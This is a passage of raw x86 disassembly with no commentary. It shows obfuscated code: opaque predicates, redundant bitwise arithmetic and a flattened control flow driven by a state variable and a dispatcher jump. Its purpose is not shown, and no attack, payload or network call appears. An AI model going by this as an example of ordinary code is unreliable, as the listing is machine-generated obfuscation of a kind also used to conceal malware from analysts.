or ch, bl
xor ch, 0xff
or dh, 0
and ch, dh
or cl, ch
mov byte [ebp - 0x49c5f], cl
mov ch, 1
xor ch, 0
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 0
mov cl, ch
and cl, 0
mov bh, dh
and bh, 0
mov byte [ebp - 0x49c61], bh
mov bh, bl
and bh, 0
and al, dh
mov byte [ebp - 0x49c60], al
mov al, byte [ebp - 0x49c61]
or cl, al
mov al, byte [ebp - 0x49c60]
or bh, al
mov al, byte [ebp - 0x49c5f]
xor cl, bh
or ch, bl
xor ch, 0xff
or dh, 0
and ch, dh
or cl, ch
mov bl, al
xor bl, 0xff
and bl, 1
mov ch, 1
xor ch, 1
and al, ch
or bl, al
xor bl, 0xff
xor cl, 0xff
mov al, 1
xor al, 1
or bl, cl
or al, 1
xor bl, 0xff
and bl, al
mov cl, ah
xor cl, 0xff
and cl, 0
mov ch, 1
xor ch, 0
mov dh, ah
and dh, ch
mov al, 1
xor al, 1
and al, 0
and ch, 1
or cl, dh
or al, ch
xor cl, al
mov al, 1
xor al, 1
and al, 1
mov ch, 1
xor ch, 1
and ch, 1
or al, ch
mov byte [ebp - 0x49c5e], al
mov ch, 1
xor ch, 0
and ch, 0
mov bh, 1
xor bh, 0
mov al, bh
and al, 0
mov dh, 1
xor dh, 1
and dh, 0
and bh, 1
or ch, al
mov al, byte [ebp - 0x49c5e]
or dh, bh
xor ch, dh
mov dh, cl
xor dh, 0xff
xor al, 0xff
mov byte [ebp - 0x49c59], al
mov bh, 1
xor bh, 0
mov al, dh
and al, 0
mov byte [ebp - 0x49c5d], al
mov al, byte [ebp - 0x49c59]
and cl, bh
and al, 0
mov byte [ebp - 0x49c5b], al
mov al, byte [ebp - 0x49c5e]
and al, bh
mov byte [ebp - 0x49c5c], al
mov al, byte [ebp - 0x49c5d]
or al, cl
mov cl, byte [ebp - 0x49c5c]
mov byte [ebp - 0x49c5a], al
mov al, byte [ebp - 0x49c5b]
or al, cl
mov cl, byte [ebp - 0x49c5a]
xor cl, al
mov al, byte [ebp - 0x49c59]
or dh, al
mov al, byte [ebp - 0x49c58]
xor dh, 0xff
or bh, 0
and dh, bh
or cl, dh
mov dh, ch
and dh, 0
xor ch, 0
or dh, ch
mov ch, cl
xor ch, 0xff
and ch, 1
mov bh, 1
xor bh, 1
and cl, bh
or ch, cl
xor ch, 0xff
xor dh, 0xff
mov cl, 1
xor cl, 1
or ch, dh
or cl, 1
xor ch, 0xff
and ch, cl
mov cl, al
xor cl, 0xff
and cl, 0
mov bh, 1
xor bh, 0
and al, bh
mov dh, 1
xor dh, 1
and dh, 0
and bh, 1
or cl, al
mov al, byte [ebp - 0x49c3e]
or dh, bh
xor cl, dh
mov bh, al
xor bh, 0xff
and bh, 1
mov dh, 1
xor dh, 1
and al, dh
or bh, al
mov al, 1
xor al, 1
and al, 1
mov dh, 1
xor dh, 1
and dh, 1
or al, dh
mov byte [ebp - 0x49c57], al
mov dh, cl
and dh, bh
xor cl, bh
or dh, cl
mov cl, 1
xor cl, 1
mov byte [ebp - 0x49c51], cl
xor al, 0xff
mov byte [ebp - 0x49c52], al
mov bh, 1
xor bh, 0
and cl, 0
mov byte [ebp - 0x49c56], cl
mov cl, bh
and cl, 1
and al, 0
mov byte [ebp - 0x49c55], al
mov al, byte [ebp - 0x49c57]
and al, bh
mov byte [ebp - 0x49c54], al
mov al, byte [ebp - 0x49c56]
or al, cl
mov cl, byte [ebp - 0x49c55]
mov byte [ebp - 0x49c53], al
mov al, byte [ebp - 0x49c54]
or cl, al
mov al, byte [ebp - 0x49c53]
xor al, cl
mov cl, byte [ebp - 0x49c52]
mov byte [ebp - 0x49c50], al
mov al, byte [ebp - 0x49c51]
or al, cl
mov cl, byte [ebp - 0x49c50]
xor al, 0xff
or bh, 0
and al, bh
or cl, al
mov al, dh
xor al, 0xff
and al, 1
mov bh, 1
xor bh, 1
and dh, bh
or al, dh
xor cl, 0xff
mov dh, al
xor dh, cl
and dh, al
mov al, dl
xor al, 0xff
mov bh, bl
xor bh, 0xff
mov cl, 1
xor cl, 1
or al, bh
or cl, 1
xor al, 0xff
and al, cl
mov bh, dl
xor bh, 0xff
mov cl, bl
and cl, bh
xor bl, 0xff
and dl, bl
or cl, dl
mov dl, al
xor dl, 0xff
mov byte [ebp - 0x49c4c], dl
mov bh, cl
xor bh, 0xff
mov bl, 1
xor bl, 1
and dl, 0xff
and al, bl
mov byte [ebp - 0x49c4f], al
mov al, bh
and al, 0xff
mov byte [ebp - 0x49c4e], al
mov al, byte [ebp - 0x49c4f]
and cl, bl
or dl, al
mov al, byte [ebp - 0x49c4e]
or al, cl
mov cl, byte [ebp - 0x49c4d]
xor dl, al
mov al, byte [ebp - 0x49c4c]
or al, bh
xor al, 0xff
or bl, 1
and al, bl
or dl, al
mov al, dh
xor al, 0xff
mov bh, ch
xor bh, al
and bh, ch
mov bl, ch
xor bl, 0xff
mov al, dh
and al, bl
xor dh, 0xff
and ch, dh
or al, ch
mov ch, bh
xor ch, 0xff
mov byte [ebp - 0x49c49], ch
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 1
and ch, 0xff
and bh, dh
mov byte [ebp - 0x49c4b], bh
mov bh, bl
and bh, 0xff
and al, dh
mov byte [ebp - 0x49c4a], al
mov al, byte [ebp - 0x49c4b]
or ch, al
mov al, byte [ebp - 0x49c4a]
or bh, al
mov al, byte [ebp - 0x49c49]
xor ch, bh
or al, bl
xor al, 0xff
or dh, 1
and al, dh
or ch, al
mov dh, dl
xor dh, 0xff
and dh, 1
mov bl, 1
xor bl, 1
mov bh, dl
and bh, bl
mov al, 1
xor al, 1
and al, 0xff
and bl, 1
or dh, bh
or al, bl
xor dh, al
xor dh, 0xff
mov al, ch
xor al, dh
and al, ch
mov dh, ch
xor dh, 0xff
and dh, 1
mov bl, 1
xor bl, 1
and ch, bl
or dh, ch
xor dl, 0xff
xor dh, 0xff
mov ch, 1
xor ch, 1
or dl, dh
or ch, 1
xor dl, 0xff
and dl, ch
mov ch, al
and ch, dl
xor al, dl
or ch, al
mov dh, cl
xor dh, 0xff
and dh, 1
mov dl, 1
xor dl, 1
mov al, cl
and al, dl
or dh, al
mov al, ah
xor al, 0xff
and al, 1
mov bl, 1
xor bl, 1
mov dl, ah
and dl, bl
or al, dl
mov byte [ebp - 0x49c42], al
mov bl, 1
xor bl, 1
and bl, 1
mov al, 1
xor al, 1
and al, 1
or bl, al
mov byte [ebp - 0x49c45], bl
mov dl, 1
xor dl, 1
mov al, dh
xor al, dl
and al, dh
xor cl, 0xff
mov dl, bl
xor dl, 0xff
mov bh, 1
xor bh, 1
or cl, dl
mov dl, byte [ebp - 0x49c42]
or bh, 1
xor cl, 0xff
and cl, bh
mov byte [ebp - 0x49c48], cl
xor dl, 0xff
mov cl, 1
xor cl, 1
mov bh, 1
xor bh, 0
or dl, cl
mov cl, byte [ebp - 0x49c48]
or bh, 0
xor dl, 0xff
and dl, bh
xor bl, 0xff
mov bh, ah
xor bh, bl
and bh, ah
mov bl, al
xor bl, 0xff
xor cl, 0xff
mov byte [ebp - 0x49c44], cl
mov cl, 1
xor cl, 0
mov byte [ebp - 0x49c43], cl
mov ah, bl
and ah, 0
and al, cl
mov cl, byte [ebp - 0x49c48]
mov byte [ebp - 0x49c47], al
mov al, byte [ebp - 0x49c44]
and al, 0
mov byte [ebp - 0x49c46], al
mov al, byte [ebp - 0x49c43]
and cl, al
mov al, byte [ebp - 0x49c47]
or ah, al
mov al, byte [ebp - 0x49c46]
or al, cl
mov cl, byte [ebp - 0x49c45]
xor ah, al
mov al, byte [ebp - 0x49c44]
or bl, al
mov al, byte [ebp - 0x49c43]
xor bl, 0xff
or al, 0
and bl, al
mov al, byte [ebp - 0x49c42]
or ah, bl
mov bl, dl
and bl, bh
xor dl, bh
or bl, dl
mov bh, ah
xor bh, 0xff
mov dl, bl
and dl, bh
xor bl, 0xff
and ah, bl
or dl, ah
mov byte [ebp - 0x49c3f], dl
mov dl, dh
xor dl, 0xff
mov bh, al
xor bh, 0xff
mov bl, 1
xor bl, 0
mov ah, dl
and ah, 0
and dh, bl
mov byte [ebp - 0x49c41], dh
mov dh, bh
and dh, 0
and al, bl
mov byte [ebp - 0x49c40], al
mov al, byte [ebp - 0x49c41]
or ah, al
mov al, byte [ebp - 0x49c40]
or dh, al
mov al, byte [ebp - 0x49c3f]
xor ah, dh
mov dh, byte [ebp - 0x49c3e]
or dl, bh
xor dl, 0xff
or bl, 0
and dl, bl
or ah, dl
mov dl, ah
xor dl, 0xff
and dl, 1
mov bl, 1
xor bl, 1
and ah, bl
or dl, ah
mov ah, cl
and ah, 1
xor cl, 1
or ah, cl
xor ah, 0xff
mov cl, dl
xor cl, ah
and cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov ah, dl
xor ah, 0xff
and ah, 1
mov cl, 1
xor cl, 1
mov al, dl
and al, cl
or ah, al
mov cl, 1
xor cl, 1
xor ah, 0xff
mov al, 1
xor al, 0
or cl, ah
or al, 0
xor cl, 0xff
and cl, al
mov ah, 1
xor ah, 1
and ah, 1
mov al, 1
xor al, 1
and al, 1
or ah, al
xor dl, 0xff
xor ah, 0xff
mov al, 1
xor al, 0
or dl, ah
or al, 0
xor dl, 0xff
and dl, al
mov al, cl
and al, dl
xor cl, dl
or al, cl
mov byte [ebp - 0x49c37], al
mov cl, 1
xor cl, 1
and cl, 1
mov al, 1
xor al, 1
and al, 1
or cl, al
mov al, dh
xor al, 0xff
and al, 0
mov ah, 1
xor ah, 0
and dh, ah
mov dl, 1
xor dl, 1
and dl, 0
and ah, 1
or al, dh
or dl, ah
xor al, dl
mov ah, 1
xor ah, 0
and ah, 0
mov dh, 1
xor dh, 0
mov bl, dh
and bl, 0
mov dl, 1
xor dl, 1
and dl, 0
and dh, 1
or ah, bl
or dl, dh
xor ah, dl
mov byte [ebp - 0x49c3c], ah
mov dh, cl
xor dh, 0xff
mov bl, 1
xor bl, 0
mov dl, 1
xor dl, 1
or dh, bl
or dl, 1
xor dh, 0xff
and dh, dl
mov bh, 1
xor bh, 1
xor ah, 0xff
mov dl, 1
xor dl, 0
or bh, ah
or dl, 0
xor bh, 0xff
and bh, dl
mov dl, al
xor dl, 0xff
mov bl, 1
xor bl, 0
mov ah, 1
xor ah, 0
or dl, bl
mov bl, byte [ebp - 0x49c3e]
or ah, 0
xor dl, 0xff
and dl, ah
mov ah, byte [ebp - 0x49c3c]
xor ah, 0xff
xor bl, ah
mov ah, byte [ebp - 0x49c3e]
and bl, ah
mov ah, dh
and ah, bh
xor dh, bh
or ah, dh
mov dh, dl
and dh, bl
xor dl, bl
or dh, dl
mov bl, ah
xor bl, 0xff
mov dl, dh
and dl, bl
xor dh, 0xff
and ah, dh
or dl, ah
mov ah, cl
xor ah, 0xff
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 0
mov bh, ah
and bh, 0
mov byte [ebp - 0x49c3d], bh
and cl, dh
mov bh, bl
and bh, 0
and al, dh
mov byte [ebp - 0x49c3b], al
mov al, byte [ebp - 0x49c3d]
or al, cl
mov cl, byte [ebp - 0x49c3c]
mov byte [ebp - 0x49c3a], al
mov al, byte [ebp - 0x49c3b]
or bh, al
mov al, byte [ebp - 0x49c3a]
xor al, bh
or ah, bl
xor ah, 0xff
or dh, 0
and ah, dh
or al, ah
mov ah, al
xor ah, 0xff
and ah, 1
mov dh, 1
xor dh, 1
and al, dh
or ah, al
mov dh, 1
xor dh, 0
mov byte [ebp - 0x49c36], dh
mov bh, cl
xor bh, 0xff
mov bl, 1
xor bl, 1
and dh, 0xff
mov al, bl
and al, 0
mov byte [ebp - 0x49c39], al
mov al, bh
and al, 0xff
mov byte [ebp - 0x49c38], al
mov al, byte [ebp - 0x49c39]
and cl, bl
or dh, al
mov al, byte [ebp - 0x49c38]
or al, cl
mov cl, byte [ebp - 0x49c37]
xor dh, al
mov al, byte [ebp - 0x49c36]
or al, bh
xor al, 0xff
or bl, 1
and al, bl
or dh, al
xor ah, 0xff
xor dh, 0xff
mov al, 1
xor al, 0
or ah, dh
or al, 0
xor ah, 0xff
and ah, al
mov al, dl
and al, ah
xor dl, ah
or al, dl
mov dl, al
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
and al, ah
or dl, al
mov al, cl
xor al, 0xff
mov ah, dl
and ah, al
xor dl, 0xff
mov al, cl
and al, dl
or ah, al
xor ah, 0xff
xor cl, 0xff
mov al, 1
xor al, 0
or ah, cl
or al, 0
xor ah, 0xff
and ah, al
mov al, ch
xor al, 0xff
mov dl, ah
xor dl, 0xff
mov cl, 1
xor cl, 1
or al, dl
or cl, 1
xor al, 0xff
and al, cl
mov cl, ch
xor cl, 0xff
and cl, 1
mov dh, 1
xor dh, 1
and ch, dh
mov dl, ah
xor dl, 0xff
and dl, 0xff
and ah, dh
or cl, ch
or dl, ah
xor cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6661536e
mov ecx, 0x9784474b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x49a70], eax
jmp 0x42c62f
mov eax, dword [0x501548]
mov ecx, dword [0x501544]
mov edx, eax
sub edx, 0x9501ce0e
add edx, 0x9547fd50
add edx, 0x9501ce0e
xor esi, esi
sub esi, 0x4fad29c8
add edx, esi
xor esi, esi
sub esi, 0x9547fd50
add edx, esi
add edx, 0xce4f0573
sub edx, 0x347458c1
sub edx, 0xce4f0573
add edx, 0x3bac2eee
sub edx, 1
sub edx, 0x3bac2eee
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, 0x347458c1
add esi, edx
xor edx, edx
sub edx, esi
sub edx, 0x564efbcd
add edx, 0x81660b05
add edx, 0x564efbcd
xor esi, esi
sub esi, 0x4fad29c8
sub edx, esi
add edx, 0x1a4dc9f9
sub edx, 0x81660b05
sub edx, 0x1a4dc9f9
imul eax, edx
and eax, 1
cmp eax, 0
sete al
mov byte [ebp - 0x49c71], al
cmp ecx, 0xa
setl ah
mov cl, al
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
and al, dl
or cl, al
mov dl, ah
xor dl, 0xff
and dl, 1
mov ch, 1
xor ch, 1
mov dh, ah
and dh, ch
mov al, 1
xor al, 1
and al, 0xff
and ch, 1
or dl, dh
or al, ch
xor dl, al
mov al, 1
xor al, 1
and al, 1
mov ch, 1
xor ch, 1
and ch, 1
or al, ch
mov bl, cl
and bl, dl
xor cl, dl
or bl, cl
mov cl, 1
xor cl, 1
mov dh, al
xor dh, 0xff
mov dl, 1
xor dl, 0
mov ch, cl
and ch, 0
mov bh, dl
and bh, 1
mov byte [ebp - 0x49c73], bh
mov bh, dh
and bh, 0
and al, dl
mov byte [ebp - 0x49c72], al
mov al, byte [ebp - 0x49c73]
or ch, al
mov al, byte [ebp - 0x49c72]
or bh, al
mov al, byte [ebp - 0x49c71]
xor ch, bh
or cl, dh
xor cl, 0xff
or dl, 0
and cl, dl
or ch, cl
mov dl, bl
xor dl, 0xff
and dl, 1
mov dh, 1
xor dh, 1
and bl, dh
mov cl, 1
xor cl, 1
and cl, 0xff
and dh, 1
or dl, bl
or cl, dh
xor dl, cl
xor dl, 0xff
xor ch, 0xff
mov cl, 1
xor cl, 0
or dl, ch
or cl, 0
xor dl, 0xff
and dl, cl
mov ch, al
xor ch, 0xff
and ch, 1
mov dh, 1
xor dh, 1
mov cl, al
and cl, dh
or ch, cl
mov bh, ah
xor bh, 0xff
xor ch, 0xff
mov cl, 1
xor cl, 1
or bh, ch
or cl, 1
xor bh, 0xff
and bh, cl
mov cl, ah
xor cl, 0xff
and cl, 1
mov ch, 1
xor ch, 1
and ah, ch
or cl, ah
xor cl, 0xff
mov bl, al
xor bl, cl
and bl, al
mov al, bh
xor al, 0xff
mov ch, bl
xor ch, 0xff
mov ah, 1
xor ah, 0
mov cl, al
and cl, 0
and bh, ah
mov dh, ch
and dh, 0
and bl, ah
or cl, bh
or dh, bl
xor cl, dh
or al, ch
xor al, 0xff
or ah, 0
and al, ah
or cl, al
mov bl, dl
xor bl, 0xff
and bl, 1
mov ah, 1
xor ah, 1
mov al, dl
and al, ah
or bl, al
mov byte [ebp - 0x49c6a], bl
mov bh, cl
xor bh, 0xff
and bh, 1
mov ah, 1
xor ah, 1
mov al, cl
and al, ah
or bh, al
mov ah, 1
xor ah, 1
and ah, 1
mov al, 1
xor al, 1
and al, 1
or ah, al
mov byte [ebp - 0x49c6b], ah
xor bl, 0xff
mov ch, 1
xor ch, 1
mov al, 1
xor al, 1
or bl, ch
or al, 1
xor bl, 0xff
and bl, al
mov ch, ah
xor ch, 0xff
mov al, dl
xor al, ch
and al, dl
mov dl, bh
xor dl, 0xff
mov dh, 1
xor dh, 1
mov ch, 1
xor ch, 0
or dl, dh
or ch, 0
xor dl, 0xff
and dl, ch
mov byte [ebp - 0x49c6e], dl
xor cl, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 1
or cl, ah
or dl, 1
xor cl, 0xff
and cl, dl
mov dl, bl
xor dl, 0xff
mov dh, al
xor dh, 0xff
mov ch, 1
xor ch, 0
mov ah, dl
and ah, 0
and bl, ch
mov byte [ebp - 0x49c70], bl
mov bl, dh
and bl, 0
and al, ch
mov byte [ebp - 0x49c6f], al
mov al, byte [ebp - 0x49c70]
or ah, al
mov al, byte [ebp - 0x49c6f]
or bl, al
mov al, byte [ebp - 0x49c6e]
xor ah, bl
or dl, dh
xor dl, 0xff
or ch, 0
and dl, ch
or ah, dl
mov dl, al
xor dl, 0xff
mov bl, cl
xor bl, 0xff
mov dh, 1
xor dh, 0
mov ch, dl
and ch, 0
and al, dh
mov byte [ebp - 0x49c6d], al
mov al, bl
and al, 0
mov byte [ebp - 0x49c6c], al
mov al, byte [ebp - 0x49c6d]
and cl, dh
or ch, al
mov al, byte [ebp - 0x49c6c]
or al, cl
mov cl, byte [ebp - 0x49c6b]
xor ch, al
mov al, byte [ebp - 0x49c6a]
or dl, bl
xor dl, 0xff
or dh, 0
and dl, dh
or ch, dl
mov dh, ah
xor dh, 0xff
mov dl, ch
and dl, dh
xor ch, 0xff
and ah, ch
or dl, ah
mov byte [ebp - 0x49c69], dl
mov dl, al
xor dl, 0xff
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 1
mov dh, dl
and dh, 0xff
and al, ah
mov bl, ch
and bl, 0xff
and bh, ah
or dh, al
mov al, byte [ebp - 0x49c69]
or bl, bh
xor dh, bl
or dl, ch
xor dl, 0xff
or ah, 1
and dl, ah
or dh, dl
mov dl, dh
xor dl, 0xff
and dl, 1
mov ch, 1
xor ch, 1
and dh, ch
mov ah, 1
xor ah, 1
and ah, 0xff
and ch, 1
or dl, dh
or ah, ch
xor dl, ah
mov ah, cl
and ah, 1
xor cl, 1
or ah, cl
xor ah, 0xff
mov cl, dl
xor cl, ah
and cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6661536e
mov ecx, 0x5dda2b3a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x49a70], eax
jmp 0x42c62f
mov edx, dword [ebp - 0x499b4]
mov esi, dword [ebp - 0x499b0]
mov eax, 0x9d2cfc78
mov ecx, 0xf84d1e05
cmp edx, esi
cmovne eax, ecx
mov dword [ebp - 0x49a70], eax
jmp 0x42c62f
mov eax, dword [ebp - 0x49a18]
mov dword [ebp - 0x499a4], eax
lea eax, [ebp - 0x498e4]
add eax, 4
mov dword [ebp - 0x499a0], eax
mov dword [ebp - 0x49a70], 0x58f35de3
jmp 0x42c62f
mov ecx, dword [0x501548]
mov eax, dword [0x501544]
xor esi, esi
sub esi, 0xc5a668a7
sub esi, ecx
add esi, 0xc5a668a7
xor edx, edx
sub edx, 0x8266016f
add edx, 0
sub esi, 0x834b4bfc
add esi, edx
add esi, 0x834b4bfc
xor edx, edx
sub edx, 0x62fcbec9
sub edx, esi
add edx, 0x62fcbec9
xor edi, edi
sub edi, 0x71ed01a5
sub edi, 1
add edi, 0x71ed01a5
xor esi, esi
sub esi, edi
sub edx, esi
xor esi, esi
sub esi, 0x7b45d870
add edx, esi
add edx, 0xf34cc24d
sub edx, 0x8266016f
sub edx, 0xf34cc24d
add edx, 0x812cdc90
add edx, 0x7b45d870
sub edx, 0x812cdc90
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete dl
cmp eax, 0xa
setl ah
mov byte [ebp - 0x49cce], ah
mov ch, dl
xor ch, 0xff
and ch, 1
mov cl, 1
xor cl, 1
mov al, dl
and al, cl
or ch, al
mov al, 1
xor al, 1
xor ch, 0xff
mov cl, 1
xor cl, 0
or al, ch
or cl, 0
xor al, 0xff
and al, cl
mov dh, 1
xor dh, 1
and dh, 0
mov ch, 1
xor ch, 0
mov bl, ch
and bl, 1
mov cl, 1
xor cl, 1
and cl, 0
and ch, 1
or dh, bl
or cl, ch
xor dh, cl
mov cl, dl
xor cl, 0xff
xor dh, 0xff
mov ch, 1
xor ch, 0
or cl, dh
or ch, 0
xor cl, 0xff
and cl, ch
mov dh, al
and dh, cl
xor al, cl
or dh, al
mov cl, ah
xor cl, 0xff
and cl, 1
mov ch, 1
xor ch, 1
mov bl, ah
and bl, ch
mov al, 1
xor al, 1
and al, 0xff
and ch, 1
or cl, bl
or al, ch
xor cl, al
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov ch, 1
xor ch, 1
and ch, 1
mov al, 1
xor al, 1
and al, 1
or ch, al
xor ah, 0xff
xor ch, 0xff
mov al, 1
xor al, 1
or ah, ch
or al, 1
xor ah, 0xff
and ah, al
mov al, cl
and al, ah
xor cl, ah
or al, cl
mov byte [ebp - 0x49ca2], al
mov ah, 1
xor ah, 1
and ah, 1
mov al, 1
xor al, 1
and al, 1
or ah, al
mov cl, 1
xor cl, 0
xor ah, 0xff
mov al, 1
xor al, 1
or cl, ah
or al, 1
xor cl, 0xff
and cl, al
mov bl, 1
xor bl, 0
and bl, 1
mov al, 1
xor al, 1
and al, 0
or bl, al
mov ah, 1
xor ah, 1
mov ch, bl
xor ch, 0xff
mov al, 1
xor al, 0
or ah, ch
or al, 0
xor ah, 0xff
and ah, al
mov bh, 1
xor bh, 1
and bh, 1
mov al, 1
xor al, 1
and al, 1
or bh, al
xor bh, 0xff
mov ch, 1
xor ch, 0
mov al, 1
xor al, 0
or bh, ch
or al, 0
xor bh, 0xff
and bh, al
mov al, 1
xor al, 1
xor bl, 0xff
mov ch, 1
xor ch, 0
or al, bl
or ch, 0
xor al, 0xff
and al, ch
mov ch, cl
and ch, ah
xor cl, ah
or ch, cl
mov ah, bh
xor ah, 0xff
mov byte [ebp - 0x49cdb], ah
mov bl, al
xor bl, 0xff
mov cl, 1
xor cl, 1
and ah, 0xff
and bh, cl
mov byte [ebp - 0x49cdd], bh
mov bh, bl
and bh, 0xff
and al, cl
mov byte [ebp - 0x49cdc], al
mov al, byte [ebp - 0x49cdd]
or ah, al
mov al, byte [ebp - 0x49cdc]
or bh, al
mov al, byte [ebp - 0x49cdb]
xor ah, bh
or al, bl
xor al, 0xff
or cl, 1
and al, cl
or ah, al
mov al, ch
xor al, 0xff
and al, 1
mov bl, 1
xor bl, 1
and ch, bl
mov cl, ah
xor cl, 0xff
and cl, 0xff
and ah, bl
or al, ch
or cl, ah
xor al, cl
mov byte [ebp - 0x49c8d], al
mov bh, dh
xor bh, 0xff
and bh, 1
mov cl, 1
xor cl, 1
mov ah, dh
and ah, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or bh, ah
or al, cl
xor bh, al
mov al, 1
xor al, 1
and al, 1
mov ah, 1
xor ah, 1
mov ch, ah
and ch, 1
mov cl, 1
xor cl, 1
and cl, 0xff
and ah, 1
or al, ch
or cl, ah
xor al, cl
mov cl, 1
xor cl, 0
and cl, 1
mov ah, 1
xor ah, 1
and ah, 0
or cl, ah
mov byte [ebp - 0x49cd8], cl
mov ah, bh
xor ah, 0xff
mov bl, al
xor bl, 0xff
mov ch, 1
xor ch, 1
mov cl, ah
and cl, 0xff
and bh, ch
mov byte [ebp - 0x49cda], bh
mov bh, bl
and bh, 0xff
and al, ch
mov byte [ebp - 0x49cd9], al
mov al, byte [ebp - 0x49cda]
or cl, al
mov al, byte [ebp - 0x49cd9]
or bh, al
mov al, byte [ebp - 0x49cd8]
xor cl, bh
or ah, bl
xor ah, 0xff
or ch, 1
and ah, ch
or cl, ah
mov byte [ebp - 0x49cd5], cl
mov ah, 1
xor ah, 0
mov bh, al
xor bh, 0xff
mov ch, 1
xor ch, 1
mov bl, ah
and bl, 0xff
mov cl, ch
and cl, 0
mov byte [ebp - 0x49cd7], cl
mov cl, bh
and cl, 0xff
and al, ch
mov byte [ebp - 0x49cd6], al
mov al, byte [ebp - 0x49cd7]
or bl, al
mov al, byte [ebp - 0x49cd6]
or cl, al
mov al, byte [ebp - 0x49cd5]
xor bl, cl
mov cl, byte [ebp - 0x49c8d]
or ah, bh
xor ah, 0xff
or ch, 1
and ah, ch
or bl, ah
mov ch, al
xor ch, 0xff
and ch, 0
mov bh, 1
xor bh, 0
and al, bh
mov ah, 1
xor ah, 1
and ah, 0
and bh, 1
or ch, al
mov al, byte [ebp - 0x49ca2]
or ah, bh
xor ch, ah
xor bl, 0xff
mov ah, ch
xor ah, bl
and ah, ch
mov byte [ebp - 0x49cca], ah
mov ah, cl
xor ah, 0xff
and ah, 1
mov ch, 1
xor ch, 1
and cl, ch
or ah, cl
mov bl, dl
xor bl, 0xff
and bl, 1
mov bh, 1
xor bh, 1
mov ch, dl
and ch, bh
mov cl, ah
xor cl, 0xff
and cl, 0xff
and ah, bh
or bl, ch
or cl, ah
xor bl, cl
xor bl, 0xff
xor dl, 0xff
mov cl, 1
xor cl, 0
or bl, dl
or cl, 0
xor bl, 0xff
and bl, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
and al, dl
or cl, al
mov al, 1
xor al, 1
and al, 1
mov ah, 1
xor ah, 1
mov ch, ah
and ch, 1
mov dl, 1
xor dl, 1
and dl, 0xff
and ah, 1
or al, ch
or dl, ah
xor al, dl
mov dl, 1
xor dl, 0
and dl, 0
mov ch, 1
xor ch, 0
mov bh, ch
and bh, 0
mov ah, 1
xor ah, 1
and ah, 0
and ch, 1
or dl, bh
or ah, ch
xor dl, ah
mov byte [ebp - 0x49cd3], dl
mov dl, cl
xor dl, 0xff
mov ch, al
xor ch, 0xff
mov ah, 1
xor ah, 0
mov bh, dl
and bh, 0
mov byte [ebp - 0x49cd4], bh
and cl, ah
mov bh, ch
and bh, 0
and al, ah
mov byte [ebp - 0x49cd2], al
mov al, byte [ebp - 0x49cd4]
or al, cl
mov cl, byte [ebp - 0x49cd3]
mov byte [ebp - 0x49cd1], al
mov al, byte [ebp - 0x49cd2]
or bh, al
mov al, byte [ebp - 0x49cd1]
xor al, bh
or dl, ch
xor dl, 0xff
or ah, 0
and dl, ah
or al, dl
mov byte [ebp - 0x49ccd], al
mov ah, 1
xor ah, 0
mov bh, cl
xor bh, 0xff
mov ch, 1
xor ch, 0
mov dl, ah
and dl, 0
mov al, ch
and al, 0
mov byte [ebp - 0x49cd0], al
mov al, bh
and al, 0
mov byte [ebp - 0x49ccf], al
mov al, byte [ebp - 0x49cd0]
and cl, ch
or dl, al
mov al, byte [ebp - 0x49ccf]
or al, cl
mov cl, byte [ebp - 0x49cce]
xor dl, al
mov al, byte [ebp - 0x49ccd]
or ah, bh
mov bh, byte [ebp - 0x49c8d]
xor ah, 0xff
or ch, 0
and ah, ch
or dl, ah
mov ch, al
xor ch, 0xff
and ch, 1
mov ah, 1
xor ah, 1
and al, ah
or ch, al
xor ch, 0xff
xor dl, 0xff
mov al, 1
xor al, 1
or ch, dl
or al, 1
xor ch, 0xff
and ch, al
mov dl, bh
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
and bh, ah
mov al, 1
xor al, 1
and al, 0xff
and ah, 1
or dl, bh
or al, ah
xor dl, al
mov bh, cl
xor bh, 0xff
and bh, 1
mov al, 1
xor al, 1
mov byte [ebp - 0x49ccc], al
mov ah, cl
and ah, al
mov al, dl
xor al, 0xff
and al, 0xff
mov byte [ebp - 0x49ccb], al
mov al, byte [ebp - 0x49ccc]
and dl, al
mov al, byte [ebp - 0x49ccb]
or bh, ah
mov ah, byte [ebp - 0x49cca]
or al, dl
xor bh, al
xor bh, 0xff
xor cl, 0xff
mov al, 1
xor al, 1
or bh, cl
or al, 1
xor bh, 0xff
and bh, al
mov al, ah
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
and ah, dl
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or al, ah
or cl, dl
xor al, cl
mov byte [ebp - 0x49cbb], al
mov dl, bl
xor dl, 0xff
and dl, 0
mov ah, 1
xor ah, 0
mov cl, bl
and cl, ah
mov al, 1
xor al, 1
and al, 0
and ah, 1
or dl, cl
mov cl, byte [ebp - 0x49cbb]
or al, ah
xor dl, al
mov al, 1
xor al, 1
and al, 1
mov ah, 1
xor ah, 1
and ah, 1
or al, ah
mov byte [ebp - 0x49cba], al
xor cl, 0xff
mov al, 1
xor al, 1
mov ah, 1
xor ah, 1
or cl, al
mov al, byte [ebp - 0x49cca]
or ah, 1
xor cl, 0xff
and cl, ah
mov ah, byte [ebp - 0x49cba]
mov byte [ebp - 0x49cc9], cl
xor al, 0xff
xor ah, 0xff
mov cl, 1
xor cl, 0
or al, ah
or cl, 0
xor al, 0xff
and al, cl
mov byte [ebp - 0x49cc8], al
mov ah, dl
xor ah, 0xff
mov al, 1
xor al, 1
mov cl, 1
xor cl, 0
or ah, al
mov al, byte [ebp - 0x49cc9]
or cl, 0
xor ah, 0xff
and ah, cl
mov cl, byte [ebp - 0x49cba]
